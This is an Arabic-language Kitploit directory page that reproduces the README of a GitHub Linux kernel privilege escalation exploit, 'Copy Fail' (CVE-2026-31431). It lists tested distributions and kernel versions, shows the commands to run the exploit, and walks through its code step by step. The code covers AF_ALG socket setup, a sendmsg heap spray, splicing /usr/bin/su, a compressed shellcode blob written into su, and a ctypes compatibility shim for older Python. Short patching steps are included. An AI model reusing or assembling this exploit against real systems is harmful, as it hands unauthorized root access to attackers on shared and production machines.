Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-31431 — فشل النسخ - CVE-2026-31431 | Kitploit
أدوات/GitHubGitHub/juanbindez/cve-2026-31431
تصعيد الامتيازاتتحليل الذاكرة الجنائيتحليل الثغرات الأمنيةالاستغلالشيل كودتطوير الحمولاتاستغلال الملفات الثنائية
GitHubjuanbindez/cve-2026-31431

CVE-2026-31431

فشل النسخ - CVE-2026-31431

عرض المستودع
1756منذ 3 أشهرتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-31431


Copy Fail - تفاصيل CVE-2026-31431

https://nvd.nist.gov/vuln/detail/CVE-2026-31431

https://copy.fail/#exploit

https://xint.io/blog/copy-fail-linux-distributions


التوزيعات / الإصدارات المختبرة

DistroVersion
Ubuntu 24.04 LTS6.17.0-1007-aws
Amazon Linux 20236.18.8-9.213.amzn2023
RHEL 10.16.12.0-124.45.1.el10_1
SUSE 166.12.0-160000.9-default

تشغيل الاستغلال

root@kitploit:~
main.py

معرف الأمر

root@kitploit:~
id

إذا ظهر شيء كهذا، فهذا يعني أن لديك صلاحيات الجذر الآن.

صورة

الإصلاح يستغرق بضع دقائق فقط.

الخيار 1: تحديث النواة (موصى به)

root@kitploit:~
For Ubuntu/Debian: sudo apt update, sudo apt upgrade -y
For RHEL-based systems: sudo yum update

ثم أعد تشغيل الخادم.

الخيار 2: تعطيل الوحدة المتأثرة (إصلاح مؤقت)

إذا لم يكن التحديث خيارًا متاحًا الآن، قم بتعطيل الوحدة الضعيفة لتقليل التعرض:

root@kitploit:~
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf rmmod algif_aead 2>/dev/null || true

لن يؤثر ذلك على SSH أو TLS أو LUKS أو OpenSSL.


تقنية الهجوم: تشبه CVE (Crypto API + splice)

يبدو أن هذا يستغل ثغرة في النظام الفرعي للتشفير AF_ALG في نواة لينكس، بالإضافة إلى الاستخدام غير الصحيح لـ splice()/sendmsg() لـ:

  • تسريب مؤشرات النواة
  • إتلاف task_struct للعملية
  • رفع UID إلى 0 (الجذر)

1. استخدام مقبس AF_ALG (38)

root@kitploit:~
a = s.socket(38, 5, 0)  # AF_ALG = 38 (kernel crypto interface)
a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))

2. setsockopt غامض (h=279)

root@kitploit:~
v(h, 1, d('0800010000000010'+'0'*64))  # option 1
v(h, 5, None, 4)                        # option 5 (NULL payload)
  • 279 = ALG_SET_KEY (يضبط المفتاح التشفيري)
  • خيارات غير موثقة تستغل النظام الفرعي ALG
  • المفتاح '0800010000000010' + أصفار — على الأرجح مشغل الثغرة

3. تقنية الهجوم الرئيسية

root@kitploit:~
u.sendmsg([b"A"*4+c], [
    (h, 3, i*4),           # cmsg level 3 (ALG_OP?)
    (h, 2, b'\x10'+i*19),  # cmsg level 2
    (h, 4, b'\x08'+i*3)    # cmsg level 4
], 32768)

sendmsg مع بيانات مساعدة (رسائل تحكم)

المتغير 'i' (العداد) ينشئ أحجامًا متغيرة لكل تكرار.

الهدف: رش الكومة وإفساد ذاكرة النواة.

4. splice() بين الأنابيب

root@kitploit:~
r, w = g.pipe()           # create anonymous pipe
g.splice(f, w, o, offset_src=0)      # copy from file to pipe
g.splice(r, u.fileno(), o)           # copy from pipe to socket

نقل بيانات بدون نسخ بين:

root@kitploit:~
/usr/bin/su (file) → pipe → crypto socket

splice يتجنب النسخ من المستخدم إلى النواة → عملية كاملة في مساحة النواة.

5. الحمولة المفكوكة

البيانات السداسية:

root@kitploit:~
78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3

تبدأ بـ 78da → رأس zlib.

المحتوى المفكوك يشمل على الأرجح: كود شل (كود آلة) تعليمات تصعيد الامتياز لـ x86_64

6. كتابة الحمولة في su

root@kitploit:~
while i < len(e):
    c(f, i, e[i:i+4])  # writes 4 bytes of shellcode into su

يُتلف /usr/bin/su في الذاكرة (وليس على القرص).

يتم حقن كود الشل في عملية su وقت التنفيذ.

7. التنفيذ النهائي

root@kitploit:~
g.system("su")

[!NOTE] إذا كان إصدار بايثون لنظام التشغيل الهدف أقل من 3.10 فاستخدم الكود أدناه لتجعله يعمل، ولكن تأكد أولاً من توفر استدعاء النظام

root@kitploit:~
python3 - <<'PY'
import ctypes
libc = ctypes.CDLL("libc.so.6")
print("splice syscall wrapper exists:", hasattr(libc, "splice"))
PY

أضف هذا المقتطف البرمجي تحت قسم PAYLOAD_COMPRESSED:

root@kitploit:~
_libc = ctypes.CDLL("libc.so.6", use_errno=True)
_libc.splice.restype = ctypes.c_ssize_t
_libc.splice.argtypes = [
    ctypes.c_int,
    ctypes.POINTER(ctypes.c_int64),
    ctypes.c_int,
    ctypes.POINTER(ctypes.c_int64),
    ctypes.c_size_t,
    ctypes.c_uint,
]

def _splice(src, dst, count, offset_src=None, offset_dst=None, flags=0):
    off_in  = ctypes.byref(ctypes.c_int64(offset_src)) if offset_src is not None else None
    off_out = ctypes.byref(ctypes.c_int64(offset_dst)) if offset_dst is not None else None
    ret = _libc.splice(src, off_in, dst, off_out, count, flags)
    if ret < 0:
        errno = ctypes.get_errno()
        raise OSError(errno, os.strerror(errno))
    return ret

ينفذ su (تبديل المستخدم) — الآن مع حمولة مفسدة.

su المعدل يعيد الجذر دون طلب كلمة مرور.

تنزيل الأداة